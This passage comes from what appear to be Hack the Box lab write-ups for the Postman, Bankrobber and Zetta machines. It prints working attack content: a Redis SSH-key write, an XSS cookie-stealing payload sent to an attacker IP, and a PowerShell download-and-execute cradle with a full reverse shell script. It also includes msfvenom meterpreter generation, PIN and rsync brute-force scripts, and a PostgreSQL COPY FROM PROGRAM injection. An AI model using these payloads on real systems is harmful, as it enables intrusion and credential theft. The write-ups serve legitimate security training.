redis \t******************************************************************* \t* [+] [Exploit] Exploiting misconfigured REDIS SERVER* \t* [+] AVINASH KUMAR THAPA aka \"-Acid\" \t******************************************************************* \t SSH Keys Need to be Generated Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/id_rsa already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:ehV0s6WYeZuU4WmOxs6sjnjY7ARUjlWUqy1tpaKW0X8 acid_creative The key's randomart image is: +---[RSA 2048]----+ | ooo.. + . | | = .. * O | | o . .= X | | . ...B o | | .. +So= + | | ..=.=* | | Bo=. + | | =o+o..E | | ..oo.o. | +----[SHA256]-----+ \t Keys Generated Successfully OK OK OK OK OK OK \tYou'll get shell in sometime..Thanks for your patience Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1 redis@Postman:~$ id uid=107(redis) gid=114(redis) groups=114(redis) redis@Postman:~$ Alright! We have a foothold! As a side note instead of a fancy script we could achieve the same result with the following manual commands then ssh'ing to the host directly. redis-cli -h 10.10.10.160 flushall cat /root/.ssh/public_key.txt | redis-cli -h 10.10.10.160 -x set cracklist redis-cli -h 10.10.10.160 config set dbfilename \"backup.db\" redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/ redis-cli -h 10.10.10.160 config set dbfilename \"authorized_keys\" redis-cli -h 10.10.10.160 save Now that we are in, it seems that our redis user does not has access to the flag - unfortunate. We need to do a bit more digging at this point. Right in the redis home directory we see an interesting .bash_history file. Let's see if we can pick out any interesting details from there. Excellent. We now know there is a user Matt and it looks like they may have backed up their SSH private key... hum, maybe we can find the file laying around. Oh-ho ho! Password protected says you. Cracking time says me. Let's get the file over to our machine and start the process. First we need to run it through sshng2john.py to get the file in a format JTR will understand. root@kali:~/Desktop/HTB/Postman# python sshng2john.py matt.key &gt; matt.hash root@kali:~/Desktop/HTB/Postman# cat matt.hash 24 matt.key:$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96c7e0bcdfadc8381617435d43770fe9af72f6036343b41eedbec5cdcaa2838217d09d77301892540fd90a267889909cebbc5d567a9bcc3648fd648b5743360df306e396b92ed5b26ae719c95fd1146f923b936ec6b13c2c32f2b35e491f11941a5cafd3e74b3723809d71f6ebd5d5c8c9a6d72cba593a26442afaf8f8ac928e9e28bba71d9c25a1ce403f4f02695c6d5678e98cbed0995b51c206eb58b0d3fa0437fbf1b4069a6962aea4665df2c1f762614fdd6ef09cc7089d7364c1b9bda52dbe89f4aa03f1ef178850ee8b0054e8ceb37d306584a81109e73315aebb774c656472f132be55b092ced1fe08f11f25304fe6b92c21864a3543f392f162eb605b139429bb561816d4f328bb62c5e5282c301cf507ece7d0cf4dd55b2f8ad1a6bc42cf84cb0e97df06d69ee7b4de783fb0b26727bdbdcdbde4bb29bcafe854fbdbfa5584a3f909e35536230df9d3db68c90541d3576cab29e033e825dd153fb1221c44022bf49b56649324245a95220b3cae60ab7e312b705ad4add1527853535ad86df118f8e6ae49a3c17bee74a0b460dfce0683cf393681543f62e9fb2867aa709d2e4c8bc073ac185d3b4c0768371360f737074d02c2a015e4c5e6900936cca2f45b6b5d55892c2b0c4a0b01a65a5a5d91e3f6246969f4b5847ab31fa256e34d2394e660de3df310ddfc023ba30f062ab3aeb15c3cd26beff31c40409be6c7fe3ba8ca13725f9f45151364157552b7a042fa0f26817ff5b677fdd3eead7451decafb829ddfa8313017f7dc46bafaac7719e49b248864b30e532a1779d39022507d939fcf6a34679c54911b8ca789fef1590b9608b10fbdb25f3d4e62472fbe18de29776170c4b108e1647c57e57fd1534d83f80174ee9dc14918e10f7d1c8e3d2eb9690aa30a68a3463479b96099dee8d97d15216aec90f2b823b207e606e4af15466fff60fd6dae6b50b736772fdcc35c7f49e5235d7b052fd0c0db6e4e8cc6f294bd937962fab62be9fde66bf50bb149ca89996cf12a54f91b1aa2c2c6299ea9da821ef284529a5382b18d080aaede451864bb352e1fdcff981a36b505a1f2abd3a024848e0f3234ef73f3e2dda0dd7041630f695c11063232c423c7153277bbe671cb4b483f08c266fc547d89ff2b81551dabef03e6fd968a67502100111a7022ff3eb58a1fc065692d50b40eb379f155d37c1d97f6c2f5a01de13b8989174677c89d8a644758c071aea8d4c56a0374801732348db0b3164dcc82b6eaf3eb3836fa05cf5476258266a30a531e1a3132e11b944e8e0406cad59ffeaecc1ab3b7705db99353c458dc9932a638598b195e25a14051e414e20dc1510eb476a467f4e861a51036d453ea96721e0be34f4993a34b778d4111b29a63d69c1b8200869a129392684af8c4daa32f3d0a0d17c36275f039b4a3bf29e9436b912b9ed42b168c47c4205dcd00c114da8f8d82af761e69e900545eb6fc10ef1ba4934adb6fa9af17c812a8b420ed6a5b645cad812d394e93d93ccd21f2d444f1845d261796ad055c372647f0e1d8a844b8836505eb62a9b6da92c0b8a2178bad1eafbf879090c2c17e25183cf1b9f1876cf6043ea2e565fe84ae473e9a7a4278d9f00e4446e50419a641114bc626d3c61e36722e9932b4c8538da3ab44d63 Making sure we remove the extra line at the start, we can then run it through John. root@kali:~/Desktop/HTB/Postman# john --wordlist=/root/Desktop/rockyou.txt matt.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (matt.key) 1g 0:00:00:04 46.24% (ETA: 17:14:59) 0.2272g/s 1529Kp/s 1529Kc/s 1529KC/s kapoo823..kapone4115 Session aborted Perfect! We now have a set of credentials - Matt/computer2008. All that is left is to impersonate Matt. User down, time to hunt root! Root exploitation Root was a little simpler than getting user, mainly because we already did the recon required for escalation without knowing it at the time. Once we acquired the shell as Matt some poking around didn't really give us a logical next step. Now with a set of credentials however, maybe we can go back and use some of those authenticated Webmin exploits? First let's log in to the Webmin portal and see if we can find any additional information - maybe something like a version number. Sure enough, right on the home page we see that it is running version 1.910. If we go back up to our Webmin searchsploit output. We see that there is a metasploit module for the exact version. Let's get it configured and see if it works as is, or if we need to tweak anything as we did with the previous redis exploit! Alright, and now if we kick it off... And just like that, our journey with Postman is complete. Thanks folks, until next time." }, { "title": "Hack the Box - Bankrobber", "url": "/hack-the-box/2020/03/07/htb-machine-bankrobber/", "categories": "hack-the-box", "tags": "htb, xss, code injection, buffer-overflow, port-forward, metasploit", "date": "2020-03-07 11:00:00 -0500", "content": "Introduction Starting with a client side XSS exploit to get admin app credentials, then chaining it with a localhost code execution bypass we get a user priviledged shell. A suspicious app running locally as System then presented a ... delicate ... buffer overflow opportunity to pivot into System priviledges. Overall, I greatly enjoyed this machine despite the few headaches on System escalation that required rebooting the machine twice. Bankrobber reminded me of past machines I worked through in the OSCP labs almost a decade ago and I enjoyed the complex, yet straight-forward nature of the exploits. Initial Recon Let us start with an NMAP scan to see what we are working with. root@kali:~/Desktop/HTB/Bankrobber# nmap -sC -sV -p- 10.10.10.154 Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-27 20:42 EST Nmap scan report for 10.10.10.154 Host is up (0.029s latency). Not shown: 65531 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4) |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 |_http-title: E-coin 443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4) |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4 |_http-title: E-coin | ssl-cert: Subject: commonName=localhost | Not valid before: 2009-11-10T23:48:47 |_Not valid after: 2019-11-08T23:48:47 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysql MariaDB (unauthorized) Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 1h00m09s, deviation: 0s, median: 1h00m08s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-11-27 21:49:30 |_ start_date: 2019-11-27 20:38:16 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 486.67 seconds Alright there seems to be quite a bit available. Let's start up Burp and take a poke at the web service to see what is there. Alright, we're looking at some sort of Crypto exchange that seemingly allows us to buy, sell, and transfer \"E-Coin\" to individuals. The site allows new registrations, and since we don't have any good ideas for existing logons past the failed usual suspects such as admin/admin, let's go ahead and try to create a new account using test/test. Once in it looks like they provided us with a nice signing bonus. We have a few E-coins to play with. The functionality within the portal is a little limited, however there does seem to be a working transfer mechanism. To transfer E-coins it looks like we need to provide the address ID. If we take a look at our session cookie we can see that the account we created has an ID of '3' and that the username and password are the base64 values of \"test\", which is what we used to create our initial account. This knowledge will probably come in handy later on. I made a small assumption at this point that the schema was incrementally numeric. With that assumed, we can try sending a small amount of E-coins to account ID=1 and see what happens. Back on the the site a popup also appeared. Excellent, so it seems like an admin is actually reviewing the request and will either approve or deny it. I wonder if we can trick them into running something malicious... maybe to steal their cookie which we know has the username and password? User exploitation With a plan in mind, let's try and craft the payload properly. I recently attended a CTF event that had a similar challenge approach where I started my own Apache instance locally and crafted the payload to direct the malicious call with cookies to that instance. I took the same approach here and started my instance. I used the following payload and entered it into the comment section of the transfer function. &lt;SCRIPT&gt;var+img=new+Image();img.src=\"http://10.10.14.23/\"%20+%20document.cookie;&lt;/SCRIPT&gt; Awesome we have the cookie - username=YWRtaW4=; password=SG9wZWxlc3Nyb21hbnRpYw==; id=1. If we do a quick base64 on the username and password we get to admin/Hopelessromantic. Let's use our new found credentials and log in to the portal as admin now! Great! Looks like this is the panel where pending requests would be reviewed by the admin, and there seems to be something else here... a backdoorchecker?! It mentions that the backdoorchecker can only run dir, so let's give it a try. Unfortunately, we're returned a disheartening message that this can only be run from localhost (::1). We are going to need to be a little more creative with our approach. If we take a step back and see how backdoorchecker is being called we can add some ammunition to how we approach the payload arsenal. Are you thinking what I'm thinking Pinky? We can chain together our previous XSS payload with a call to backdoorchecker, which should get executed on localhost by the admin account. Now just running dir won't actually give us anything beneficial, so let's try and combine dir with something a bit more tangible - a ping back to our machine. Let's start wireshark and modify the original XSS payload to. &lt;script&gt;callSys(dir | ping 10.10.14.23);&lt;/script&gt; Instead of waiting for the \"real\" admin to automatically approve it, let's go ahead and approve it ourselves. We then see our our callback did indeed work! Alright, where can we go from here. Instead of a ping let's see if we can call a reverse shell script. We host the file locally on our Apache instance and change the payload to the following: &lt;script&gt;callSys(\"dir | powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.23:80/winrev2.ps1')\");&lt;/script&gt; With a reverse shell script as below: root@kali:/var/www/html# cat winrev2.ps1 $socket = new-object System.Net.Sockets.TcpClient('10.10.14.23', 1337); if($socket -eq $null){exit 1} $stream = $socket.GetStream(); $writer = new-object System.IO.StreamWriter($stream); $buffer = new-object System.Byte[] 1024; $encoding = new-object System.Text.AsciiEncoding; do { \t$writer.Flush(); \t$read = $null; \t$res = \"\" \twhile($stream.DataAvailable -or $read -eq $null) { \t\t$read = $stream.Read($buffer, 0, 1024) \t} \t$out = $encoding.GetString($buffer, 0, $read).Replace(\"`r`n\",\"\").Replace(\"`n\",\"\"); \tif(!$out.equals(\"exit\")){ \t\t$args = \"\"; \t\tif($out.IndexOf(' ') -gt -1){ \t\t\t$args = $out.substring($out.IndexOf(' ')+1); \t\t\t$out = $out.substring(0,$out.IndexOf(' ')); \t\t\tif($args.split(' ').length -gt 1){ $pinfo = New-Object System.Diagnostics.ProcessStartInfo $pinfo.FileName = \"cmd.exe\" $pinfo.RedirectStandardError = $true $pinfo.RedirectStandardOutput = $true $pinfo.UseShellExecute = $false $pinfo.Arguments = \"/c $out $args\" $p = New-Object System.Diagnostics.Process $p.StartInfo = $pinfo $p.Start() | Out-Null $p.WaitForExit() $stdout = $p.StandardOutput.ReadToEnd() $stderr = $p.StandardError.ReadToEnd() if ($p.ExitCode -ne 0) { $res = $stderr } else { $res = $stdout } \t\t\t} \t\t\telse{ \t\t\t\t$res = (&amp;\"$out\" \"$args\") | out-string; \t\t\t} \t\t} \t\telse{ \t\t\t$res = (&amp;\"$out\") | out-string; \t\t} \t\tif($res -ne $null){ $writer.WriteLine($res) } \t} }While (!$out.equals(\"exit\")) $writer.close(); $socket.close(); $stream.Dispose() Next we go back to the admin panel to approve our request. And finally we get our user shell! No time to rest, we're only getting started! Root exploitation Firstly we should try and upgrade our shell. While our initial shell served its purpose, it is quite limited. Let's see if we can get a meterpreter session up and running. root@kali:/var/www/html# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.23 LPORT=4444 -f exe -o payload.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes Saved as: payload.exe Now let's craft up another XSS payload and get the executable downloaded on to the host then trigger it from our first shell. A bit of recon with our new shell and we find a potentially interesting binary as well as a service running on port 910 locally that we did not see externally. We want to give this port a closer look. A good way of doing this is to forward the 910 port to our local machine. meterpreter &gt; portfwd add -l 910 -p 910 -r 10.10.10.154 [-] You must supply a local port, remote host, and remote port. meterpreter &gt; portfwd add -l 910 -p 910 -r 10.10.10.154 [*] Local TCP relay created: :910 &lt;-&gt; 10.10.10.154:910 meterpreter &gt; I decided to take a look using the browser first. Ah, seems more like a nc connection kinda thing. root@kali:~/Desktop/HTB/Bankrobber# nc localhost 910 -------------------------------------------------------------- Internet E-Coin Transfer System International Bank of Sun church v0.1 by Gio &amp; Cneeliz -------------------------------------------------------------- Please enter your super secret 4 digit PIN code to login: [$] 1111 [!] Access denied, disconnecting client.... Hum... ok let's just cut to the chase and brute through the 10,000 possibilities. Hopefully there isn't any lockout mechanism and we aren't shooting ourselves in the foot by doing this! root@kali:~/Desktop/HTB/Bankrobber# for i in {0000..9999}; do echo $i; echo $i | nc localhost 910; sleep 0.1; done 0000 -------------------------------------------------------------- Internet E-Coin Transfer System International Bank of Sun church v0.1 by Gio &amp; Cneeliz -------------------------------------------------------------- Please enter your super secret 4 digit PIN code to login: [$] [!] Access denied, disconnecting client.... ... &lt;snip&gt; ... 0021 -------------------------------------------------------------- Internet E-Coin Transfer System International Bank of Sun church v0.1 by Gio &amp; Cneeliz -------------------------------------------------------------- Please enter your super secret 4 digit PIN code to login: [$] [$] PIN is correct, access granted! -------------------------------------------------------------- Please enter the amount of e-coins you would like to transfer: [$] id ......... [!] You waited too long, disconnecting client.... Excellent, we get the pin 0021 and we are one step closer. Alright that is interesting, it seems to call a separate transfer executable on the host as part of the process. Let's see if we can run a quick buffer overflow and overwrite the executable. Now we are talking! Ok, now time to get the exact offset where we can put our own executable. root@kali:~/Desktop/HTB/Bankrobber# nc localhost 910 -------------------------------------------------------------- Internet E-Coin Transfer System International Bank of Sun church v0.1 by Gio &amp; Cneeliz -------------------------------------------------------------- Please enter your super secret 4 digit PIN code to login: [$] 0021 [$] PIN is correct, access granted! -------------------------------------------------------------- Please enter the amount of e-coins you would like to transfer: [$] Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3A [$] Transfering $Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3A using our e-coin transfer application. [$] Executing e-coin transfer tool: 0Ab1Ab2Ab3A [$] Transaction in progress, you can safely disconnect... We can reuse our meterpreter payload setup, creating a payload2.exe with a port of 4445 instead of the default 4444. We upload the executable to the host and then trigger it by supplying the following payload to the bankv2 connection. Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9AbC:\\temp\\payload2.exe And just like that our adventure with Bankrobber comes to an end. Thanks folks, until next time! Extra fun I mentioned at the start of the article that the buffer overflow was fragile. When I first attempted to fuzz bankv2 with A's I actually ended up crashing the process. Unfortunately, there didn't seem to be any auto-restart logic in place, so to continue with the machine I had to issue a restart request from the HTB portal and restart the machine from the beginning. This was a sobering realization to be careful with these types of activities." }, { "title": "Hack the Box - Zetta", "url": "/hack-the-box/2020/03/01/htb-machine-zetta/", "categories": "hack-the-box", "tags": "htb, ftp, rsync, postgres, brute-force, sql, ipv6", "date": "2020-03-01 11:00:00 -0500", "content": "Introduction Let me just start with - what a box! Zetta was to this point the most complex machine I have completed and I enjoyed every second of it. I personally compare the difficulty of this machine to Bankrobber, which was rated as Insane, despite Zetta being marked as Hard. Starting with an FTP FXP IPv6 leak, to an rsync brute-force and abuse we get user access to the machine. Once on, we chain custom crafted syslog messages using logger with a postgres command injection to pivot user access. Finally, a dubious password policy leads to using discovered credentials and adapting them to the root password for system level access. Without any further delay, let us step through it! Initial Recon We start with our regular NMAP scan to see what we are working with. root@kali:~# nmap -sV -sC -p- 10.10.10.156 Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-04 20:31 EST Nmap scan report for 10.10.10.156 Host is up (0.019s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 21/tcp closed ftp 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) | ssh-hostkey: | 2048 2d:82:60:c1:8c:8d:39:d2:fc:8b:99:5c:a2:47:f0:b0 (RSA) | 256 1f:1b:0e:9a:91:b1:10:5f:75:20:9b:a0:8e:fd:e4:c1 (ECDSA) |_ 256 b5:0c:a1:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a0:ab (ED25519) 80/tcp open http nginx |_http-server-header: nginx |_http-title: Ze::a Share Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Alright, an FTP, SSH service and a web Nginx service. Let's start Burp and take a look at what is offered on the web page first. Taking a look at the main page it seems to be a business offering for managed storage. If we go to the bottom of the page we find something quite interesting - a set of credentials! If we refresh the page the credentials change. That seems potentially odd, so a bit of digging and sure enough we find the section of code in the page that is generating these \"credentials\" - seemingly the same 32 random characters for username and password. Alright, so these are probably not true credentials, however it seems an interesting angle to pursue. Let's try using the information to log in to the FTP service. root@kali:~/Desktop/HTB/Zetta# nc 10.10.10.156 21 USER nGLYoOO4gILBf2s86vVt6MRg8sapDJ7z 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-You are user number 1 of 500 allowed. 220-Local time is now 23:50. Server port: 21. 220-This is a private system - No anonymous login 220-IPv6 connections are also welcome on this server. 220 You will be disconnected after 15 minutes of inactivity. 331 User nGLYoOO4gILBf2s86vVt6MRg8sapDJ7z OK. Password required PASS nGLYoOO4gILBf2s86vVt6MRg8sapDJ7z 230-This server supports FXP transfers 230-OK. Current restricted directory is / 230-0 files used (0%) - authorized: 10 files 230 0 Kbytes used (0%) - authorized: 1024 Kb While it is excellent that we are in, there unfortunately doesn't seem to be anything directly available to us. The interesting part really comes down to the metnion of FXP transfers. Back on the main web page where we found the credentials there was also mention of \"We support native FTP with FXP enabled. We also support RFC2428\". I wasn't as familiar with FXP so took the opportunity to do a little external reading with the RFC docs. This document provides a specification for a way that FTP can communicate data connection endpoint information for network protocols other than IPv4 ... The EPRT command allows for the specification of an extended address for the data connection Interesting, so interpreting this another way there is a possibility that this machine is also configured to use IPv6. Since we don't have a way to know what the IPv6 address is as is, we should be able to leverage the EPRT command to connect back to our own IPv6 address using the FTP server's IPv6 interface, leaking the address to us. Let's start Wireshark on our end and give this a shot. And if we check our Wireshark capture. Excellent, we have the server address of dead:beef::250:56ff:fea2:4d93. Note that this IPv6 address seems to change on every reboot, so on subsequent attempts it was required to redo this portion. User exploitation Now that we have the IPv6 address, let's attempt to rerun our NMAP scan and see if anything else pops out. root@kali:~/Desktop/HTB/Zetta# nmap -6 -sV -sC -p- dead:beef::250:56ff:fea2:4d93 Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-05 18:27 EST Nmap scan report for dead:beef::250:56ff:fea2:4d93 Host is up (0.019s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Pure-FTPd 22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0) | ssh-hostkey: | 2048 2d:82:60:c1:8c:8d:39:d2:fc:8b:99:5c:a2:47:f0:b0 (RSA) | 256 1f:1b:0e:9a:91:b1:10:5f:75:20:9b:a0:8e:fd:e4:c1 (ECDSA) |_ 256 b5:0c:a1:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a0:ab (ED25519) 80/tcp open http nginx |_http-server-header: nginx |_http-title: Ze::a Share 8730/tcp open rsync (protocol version 31) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | address-info: | IPv6 EUI-64: | MAC address: | address: 00:50:56:a2:4d:93 |_ manuf: VMware Oh ho! We have an rsync service available on IPv6 where it was not on IPv4. What happens if we poke around there. This is looking more promising, excellent. Unfortunately trying to enumerate all of the listed modules leads us to access denied. At this point I started scratching my head a bit until I realized that the modules were all the standard directories in a Unix machine, however /etc was missing... Hum, let's see if that is just a coincidence. Bingo! Ok let's see if we can grab a copy of /etc and sync it locally for further analysis. Once we have the files locally we take a look at the more obvious spots - passwd, ftpusers, backups, but it is only once we look at the rsyncd.conf file do we really notice something interesting. root@kali:~/Desktop/HTB/Zetta/etc# cat rsyncd.conf | tail -n 10 [home_roy] \tpath = /home/roy \tread only = no \t# Authenticate user for security reasons. \tuid = roy \tgid = roy \tauth users = roy \tsecrets file = /etc/rsyncd.secrets \t# Hide home module so that no one tries to access it. \tlist = false Another hidden directory! We also have the user provided on top of it, excellent. Unfortunately, we don't have the password and trying to access /home/roy results in access denied. With the username however, let's see if we can script up a simple bruteforce to iterate through the rockyou password list. Who knows, we might get lucky. #!/usr/bin/python # -*- coding: utf-8 -*- import sys import os import subprocess def bruteforce(password): os.environ[\"RSYNC_PASSWORD\"] = password try: p1 = subprocess.run('rsync -vazh rsync://roy@[dead:beef::250:56ff:fea2:4d93]/home_roy --port 8730',check=True, shell=True,stderr=subprocess.STDOUT, stdout=subprocess.PIPE) if p1.returncode == 0: print(\"PASSWORD Found! roy/\" + password) except subprocess.CalledProcessError as e: pass if __name__ == \"__main__\": f = open(sys.argv[1], \"r\") num = 0 for x in f: x = x.rstrip('\\n') bruteforce(x) num +=1 if(num % 100 == 0): print(\"Num: \" + str(num) + \" - attempted: \" + x) And once we let is run for awhile... we get lucky! With roy's credentials, we can now sync and upload files to /home/roy. root@kali:~/Desktop/HTB/Zetta# rsync -v rsync://roy@[dead:beef::250:56ff:fea2:4d93]/home_roy --port 8730 ****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ****** You must have explicit, authorized permission to access this rsync server. Unauthorized attempts and actions to access or use this system may result in civil and/or criminal penalties. All activities performed on this device are logged and monitored. ****** UNAUTHORIZED ACCESS TO THIS RSYNC SERVER IS PROHIBITED ****** @ZE::A staff This rsync server is solely for access to the zetta master server. The modules you see are either provided for \"Backup access\" or for \"Cloud sync\". Password: receiving file list ... done drwxr-xr-x 4,096 2019/07/28 06:52:29 . lrwxrwxrwx 9 2019/07/27 06:57:06 .bash_history -rw-r--r-- 220 2019/07/27 03:03:28 .bash_logout -rw-r--r-- 3,526 2019/07/27 03:03:28 .bashrc -rw-r--r-- 807 2019/07/27 03:03:28 .profile -rw------- 4,752 2019/07/27 05:24:24 .tudu.xml -r--r--r-- 33 2019/07/27 05:24:24 user.txt sent 20 bytes received 184 bytes 81.60 bytes/sec total size is 9,347 speedup is 45.82 Well we can see our user.txt flag present! Also, there is an interesting .tudu.xml file. I mention it as it will become useful later on. As we need to proceed past just the user flag, instead of downloading the files locally let's upload our ssh authorized_user's file to allow SSH connection. And just like that, we have our user access. Despite the amount of effort so far, this is just the beginning for Zetta! Root exploitation Now remember when I mentioned that tudu file? Well if we do a quick search we can find that \"TuDu is a comand line interface to manage hierarchical todo\". Excellent, let's run it and see what is in it. If we follow along, we can pretty much mentally map the workflow that got us here so far - HTTP server -&gt; FTP -&gt; Rsync. Taking a bit of a leap here, but let's make an assumption that our next step will have something to do with Syslog. 62% SYSLOG Server | [X] Decide server: syslog-ng vs. rsyslog | [X] Install server | [X] Configure server | [X] Check postgresql log for errors after configuration | [X] Prototype/test DB push of syslog events | [ ] Testing | [ ] Rework syslog configuration to push all events to the DB | [ ] Find/write GUI for syslog-db access/view Alright, let's see if we can find any configs or other tidbits to help point us in the right direction. During the search we did remember that there was mention of .git repositories in the rsync.conf file. # *** WORK IN PROGRESS *** # Allow access to /etc to sync configuration files throughout the complete # cloud server farm. IP addresses from https://ip-ranges.amazonaws.com/ip-ranges.json # [etc] \tcomment = Backup access to /etc. Also used for cloud sync access. \tpath = /etc \t# Do not leak .git repos onto the not so trusted slave servers in the cloud. \texclude = .git \t# Temporarily disabled access to /etc for security reasons, the networks are \t# have been found to access the share! Only allow 127.0.0.1, deny 0.0.0.0/0! \t#hosts allow = 104.24.0.54 13.248.97.0/24 52.94.69.0/24 52.219.72.0/22 \thosts allow = 127.0.0.1/32 \thosts deny = 0.0.0.0/0 \t# Hiding it for now. \tlist = false We end up finding /etc/rsyslog.d has a .git repo configured. We also have enough entitlements to clone it to a location where we have access to the files. roy@zetta:/tmp$ git clone /etc/rsyslog.d Cloning into 'rsyslog.d'... done. roy@zetta:~$ cat /tmp/rsyslog.d/pgsql.conf ### Configuration file for rsyslog-pgsql ### Changes are preserved # https://www.rsyslog.com/doc/v8-stable/configuration/modules/ompgsql.html # # Used default template from documentation/source but adapted table # name to syslog_lines so the Ruby on Rails application Maurice is # coding can use this as SyslogLine object. # template(name=\"sql-syslog\" type=\"list\" option.sql=\"on\") { constant(value=\"INSERT INTO syslog_lines (message, devicereportedtime) values ('\") property(name=\"msg\") constant(value=\"','\") property(name=\"timereported\" dateformat=\"pgsql\" date.inUTC=\"on\") constant(value=\"')\") } # load module module(load=\"ompgsql\") # Only forward local7.info for testing. local7.info action(type=\"ompgsql\" server=\"localhost\" user=\"postgres\" pass=\"test1234\" db=\"syslog\" template=\"sql-syslog\") Ok, so if we understand the config above properly, it looks like all local7.info syslog messages are triggering this pgsql.conf rule and ultimately being forwarded to a postgres instance. If we poke around a bit more, we can see where postgres stores its own logs. If you are following my mindset, we're trying to map the data model of these logs so we can start testing different approaches. cat postgresql.conf | grep data_dir data_directory = '/var/lib/postgresql/11/main'\t\t# use data in another directory roy@zetta:/tmp/rsyslog.d$ psql --host localhost -p 5432 -U postgres -W Password: psql: FATAL: password authentication failed for user \"postgres\" FATAL: password authentication failed for user \"postgres\" roy@zetta:/etc/postgresql/11/main$ tail -n1 /var/log/postgresql/postgresql-11-main.log 2019-11-07 18:14:01.561 EST [4242] postgres@syslog STATEMENT: INSERT INTO syslog_lines (message, devicereportedtime) values (' \\','2019-11-07 23:13:51')) Ok, great, we now have any idea of what syslog messages get sent to posgres, local7.info, and we also have the location where the logs get forwarded to based on the rsyslog.d conf, postgresql-11-main.log. Thanks to that last location also now understand the format that these logs are being inserted into the postgres instance. With all this information we have a good idea of how to proceed. We need to send our own custom syslog message, where we will attempt to execute a SQL injection through the postgres insert statement. For the first part, the easiest way would be to use a utility like logger. We can pass it an attribute -p local7.info to ensure our message get's picked up by the postgres rule. As far as the SQL injection payload, there are several ways to do this. During my investigations I figured out where the user postgres's homedirectory and SSH directory was located, therefore I decided to go with the ssh/authorized_keys route. It took a lot of different tweaks and attempts to get the right character escapes, but finally I was able to get successful execution with the following. And because why not, I then crafted another payload to cat the file and see if it was properly updated. 2019-11-08 16:45:46.505 EST [1537] postgres@syslog STATEMENT: INSERT INTO syslog_lines (message, devicereportedtime) values (' \\', now()); COPY syslog_lines FROM PROGRAM $$cat /var/lib/postgresql/.ssh/authorized_keys$$; -- #','2019-11-08 21:45:46') 2019-11-08 16:45:46.510 EST [1540] postgres@syslog WARNING: there is no transaction in progress tail: postgresql-11-main.log: file truncated 2019-11-08 16:47:28.425 EST [1540] postgres@syslog ERROR: invalid input syntax for integer: \"'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr2BPHlixOqPa/cIzYufceN3xIqJVtpUrPwWh0kPwparSO7bCHpuU/ZmMw/wEOSEYqu68MuwH8Qqj7YwaPolU3UJK6toX598y9swOPrKmnZMBdIycMtp4ANw2+75tXQ8AiP1YKHRwTgDg8QC40l396Be45gq2c+u6vTJ2LhbJh4zteGVGg4aIziDl/b7DUA5MKh6oxa4s52D6C9CBrSziYsLzkL+UOCPC63uzIWc+BiteZkek9xJodUxidjlnWO52vZz/2ZXAu7j7RAcdr4bHY/UzZbAYCTAVpHZLdVYkZYoxMnYb5/xw7ONxgWSsuOUWjEAXgBL7PoHZd2VRbeKwn root@kali' \tssh-rsa 